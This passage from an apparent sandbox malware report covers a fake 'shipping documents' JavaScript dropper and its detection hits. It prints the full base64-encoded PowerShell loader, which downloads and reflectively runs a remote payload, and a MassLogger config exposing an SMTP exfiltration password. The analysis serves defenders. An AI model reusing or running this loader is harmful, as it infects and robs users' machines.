sACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$allocryptic = [System.Text.Encoding]::Unicode

Sigma detected: Net WebClient Casing Anomalies

Source: Process started

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 23.186.113.60, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7148, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49685

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 158.101.44.242, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6720, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49696

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Documents SI 694_pdf.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Documents SI 694_pdf.js", CommandLine|base64offset|contains: ., Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 496, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Documents SI 694_pdf.js", ProcessId: 7148, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 23.186.113.60, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7148, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49685

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$allocryptic = [System.Text.Encoding]::Unicode

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Documents SI 694_pdf.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Documents SI 694_pdf.js", CommandLine|base64offset|contains: ., Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 496, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Documents SI 694_pdf.js", ProcessId: 7148, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$allocryptic = [System.Text.Encoding]::Unicode

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-28T13:24:09.806195+0200	2028371	3	Unknown Traffic	192.168.2.6	49686	23.186.113.60	443	TCP

ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-28T13:24:38.653437+0200	2057635	1	A Network Trojan was detected	23.186.113.60	443	192.168.2.6	49695	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-28T13:24:37.141219+0200	2049038	1	A Network Trojan was detected	207.241.233.30	443	192.168.2.6	49694	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-28T13:24:39.587683+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49696	158.101.44.242	80	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-28T13:24:38.653437+0200	2858295	1	A Network Trojan was detected	23.186.113.60	443	192.168.2.6	49695	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-28T13:24:38.345893+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.6	49695	23.186.113.60	443	TCP

Joe Sandbox Signatures

• AV Detection
• Location Tracking
• Exploits
• Compliance
• Software Vulnerabilities
• Networking
• Key, Mouse, Clipboard, Microphone and Screen Capturing
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: MassLogger {"EXfil Mode": "SMTP", "From": "hee@dermypack.com.my", "Password": "Hee@123456789!", "Server": "mail.dermypack.com.my"}

Multi AV Scanner detection for submitted file

Source: Shipping Documents SI 694_pdf.js

ReversingLabs: Detection: 13%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 99.9%

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 10.2.powershell.exe.1e8aa30fb3d.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8aa250000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8aa250000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49697 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.6:49686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 207.241.224.2:443 -> 192.168.2.6:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 207.241.233.30:443 -> 192.168.2.6:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.6:49695 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.PdbWriter+ source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.mdrawmethodimplrowdnlib.dotnet.pdbpdbimpltype source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `2microsoft.win32.taskschedulercalendartriggermicrosoft.win32.taskschedulertaskprincipalprivilegemicrosoft.win32.taskschedulertasksnapshotvirtualmachinedetectordnlib.dotnet.pdbsymbolreadercreatordnlib.dotnet.emitinstructionprinterdnlib.dotnettypeequalitycomparerdnlib.dotnet.mdimagecor20headerdnlib.dotnet.mdirawrowdnlib.dotnet.writermethodbodywritermicrosoft.win32.taskschedulertaskregistrationinfomicrosoft.win32.taskschedulershowmessageactiondnlib.dotnetihasdeclsecuritycomhandlerupdatemicrosoft.win32.taskschedulereventtriggerdnlib.dotnetimanagedentrypointstartup_informationmicrosoft.win32.taskscheduler.fluentmonthlydowtriggerbuildermicrosoft.win32.taskschedulertaskauditrulednlib.dotnet.writerstrongnamesignaturednlib.dotnetitypednlib.dotnetsentinelsigdnlib.dotnet.mdicolumnreaderdnlib.dotnet.writermodulewritereventdnlib.dotnettypenameparserdnlib.dotneticustomattributednlib.dotnet.pdb.dsssymbolwritercreatordnlib.dotnet.resourcesbinaryresourcedatadnlib.dotnet.mdrawtyperefrowdnlib.ioimagestreamcreatorconnectiontokendnlib.pepeextensionsdnlib.dotnet.pdbsequencepointdnlib.dotnetlinkedresourcednlib.dotnettyperefdnlib.dotnetpublickeydnlib.dotnetiassemblyreffinderdnlib.dotnet.mdrawgenericparamconstraintrowdnlib.dotnettypedefdnlib.dotnetrecursioncounterdnlib.dotnet.mdrawassemblyrefosrowdnlib.pecharacteristicsdnlib.w32resourcesresourcedirectorype source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnet.emitexceptionhandlertypednlib.dotnet.pdb.managedsymbolreadercreatordnlib.dotnetmoduledefuserdnlib.dotnetgenericparamconstraintuserdnlib.dotnetparamdefdnlib.dotnet.mdrawtypedefrowdnlib.dotnet.resourcescreateresourcedatadelegatednlib.dotnetvtableflagsdnlib.dotnet.mdrawinterfaceimplrowdnlib.dotnet.writeriheapdnlib.dotnet.mdmetadataheader source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: >.CurrentSystem.Collections.IEnumerator.CurrentSystem.Collections.Generic.IEnumerator<System.Int32>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.UInt32,System.Byte[]>>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.String,System.String>>.get_CurrentSystem.Collections.Generic.IEnumerator<T>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CustomAttribute>.get_CurrentSystem.Collections.Generic.IEnumerator<TValue>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.FieldDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MethodDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.EventDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.PropertyDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.ModuleRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MemberRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyRef>.get_CurrentSystem.Collections.Generic.IEnumerator<System.String>.get_CurrentSystem.Collections.Generic.IEnumerator<TIn>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.TaskFolder>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.Trigger>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CANamedArgument>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MD.IRawRow>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyResolver. source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnet.writermodulewriteroptionsbasednlib.dotnet.pdb.dssisymunmanagedwriter2microsoft.win32.taskschedulernotsupportedpriortoexceptiondnlib.dotnetmodulerefuserdnlib.dotnet.mddotnetstreamdnlib.dotnet.writerusheapdnlib.dotnet.pdbimage_debug_directorydnlib.dotnet.writermdtable`1microsoft.win32.taskschedulermaintenancesettingsdnlib.dotnet.writercreatepdbsymbolwriterdelegatemicrosoft.win32.taskschedulertaskrightsdnlib.dotnet.writermodulewriterexceptiondnlib.dotnet.pdb.managedpdbreaderdnlib.dotnetparamattributesdnlib.dotnet.writerhotheapdnlib.dotnettypedeforrefsigdnlib.dotnettypenameparserexceptiondnlib.dotnetexportedtypeuserdnlib.dotnet.emitcilbodydnlib.dotnet.writersignaturewriterdnlib.dotnetmethodspecuserdnlib.dotnetvtablemicrosoft.win32.taskscheduler.fluentintervaltriggerbuildermicrosoft.win32.taskschedulernotv2supportedexceptiondnlib.dotnetcanamedargumentdnlib.dotnet.emitmethodutilsdnlib.dotnet.writerblobheapdnlib.dotnet.pdbpdbstateelemdnlib.dotnetresolveexceptiondnlib.dotnet.resourcesresourceelementsetdnlib.dotnetifielddnlib.dotnet.mdrawconstantrowdnlib.dotnet.resourcesuserresourcetypemicrosoft.win32.taskschedulerregistrationtriggerdnlib.dotneteventequalitycomparertaskprincipalprivilegesenumeratordnlib.dotnettypespecdnlib.dotnet.emitopcodesmicrosoft.win32.taskschedulernamevaluepairmicrosoft.win32.taskschedulertaskaccessrulednlib.dotnet.mdtablednlib.dotnetihassemanticmicrosoft.win32.taskschedulertaskprocesstokensidtypemicrosoft.win32.taskschedulertaskcollectiondnlib.dotnetpinnedsigdnlib.dotnetmanifestresourcednlib.dotnet.emitinvalidmethodexceptiondnlib.dotnet.mdrawmodulerefrow<>c<>c<>c<>c<>c<>c<>c<>c<>c<>cdnlib.w32resourcesresourcename<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>cdnlib.dotnet.emitinstructiondnlib.dotnet.emitflowcontroldnlib.dotnetiresolverdnlib.dotnetassemblyrefdnlib.dotnet.writerhotheap20microsoft.win32.taskschedulerweeklytriggerdnlib.dotnetptrsigdnlib.dotnet.resourcesresourcetypecodemicrosoft.win32.taskscheduler.fluentsettingsbuilderdnlib.ioloaderdnlib.dotnet.mdrawpropertymaprowdnlib.dotnet.mdirowreader`1microsoft.win32.taskschedulertasktriggertypednlib.dotnet.mdcolumninfodnlib.dotnetnonleafsigdnlib.dotnetcallingconventionsigmicrosoft.win32.taskscheduleridlesettingsdnlib.dotnet.writeruniquechunklist`1dnlib.dotnetsigcompareroptionsdnlib.dotnetassemblydefdnlib.ioifilesectiondnlib.dotnetsignaturereadermicrosoft.win32.taskschedulerlogontriggerdnlib.dotnet.mdrawimplmaprowdnlib.dotnetimemberrefdnlib.dotnet.writerbytearraychunkdnlib.dotnetarraymarshaltypednlib.pesubsystemdnlib.dotnetassemblylinkedresourcednlib.dotnetcmodoptsigdnlib.dotnet.mdmdtablednlib.dotnetlocalsigdnlib.dotnetimemberdefdnlib.dotnetfixedarraymarshaltypemicrosoft.win32.taskschedulercomhandleractiondnlib.dotnetmoduledefmd2dnlib.dotnet.emitdynamicmethodbodyreaderdnlib.dotnetclasslayoutuserdnlib.dotnetmethodsigtokentypemicrosoft.win32.taskschedulermonthlytriggerdnlib.peipeimagednlib.dotnet.mdrawfilerowdnlib.dotnet.writerhotheap40dnlib.dotnetmodifiersigdnlib.d
Source:	Binary string: dnlib.dotnet.pdb.managedpdbexception source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.mdrawassemblyrefrowdnlib.dotnet.writermethodbodychunksmicrosoft.win32.taskschedulernetworksettingsmicrosoft.win32.taskschedulertaskschedulersnapshotcronfieldtypesystem.runtime.compilerservicesisreadonlyattributednlib.dotnet.mdrawtypespecrowdnlib.dotnetfielddefuserdnlib.dotnetinterfacemarshaltypednlib.dotnet.writermetadataflagsdnlib.dotnet.mdrawfieldlayoutrowmicrosoft.win32.taskschedulertaskdnlib.dotnet.writermetadataoptionsdnlib.dotnetimdtokenproviderdnlib.dotnetsignatureequalitycomparermicrosoft.win32.taskschedulerquicktriggertypednlib.dotnetifullnamecreatorhelperdnlib.dotnet.resourcesresourceelementdnlib.dotnetmodulecreationoptionsdnlib.dotnet.emitiinstructionoperandresolverdnlib.utilslazylist`1dnlib.dotnetpropertyattributesdnlib.dotnet.mdrawmethodrowdnlib.dotnet.mdrawassemblyrowdnlib.threadingexecutelockeddelegate`3dnlib.dotnetmoduledefmddnlib.ioiimagestreamdnlib.dotnetclasssigdnlib.dotnetstrongnamesignerdnlib.dotnetinvalidkeyexceptionelemequalitycomparerdnlib.dotnet.mdrawpropertyptrrowdnlib.threadinglistiteratealldelegate`1microsoft.win32.taskscheduler.fluentbasebuilderdnlib.dotnet.mdheapstreamdnlib.pepeimagednlib.dotnetitypedeffindermicrosoft.win32.taskschedulersnapshotitemdnlib.dotnetmemberrefdnlib.dotnetimemberrefresolverdnlib.dotnetconstantuserdnlib.dotnetimethoddecrypterdnlib.dotnetassemblynamecomparerdnlib.dotnetiresol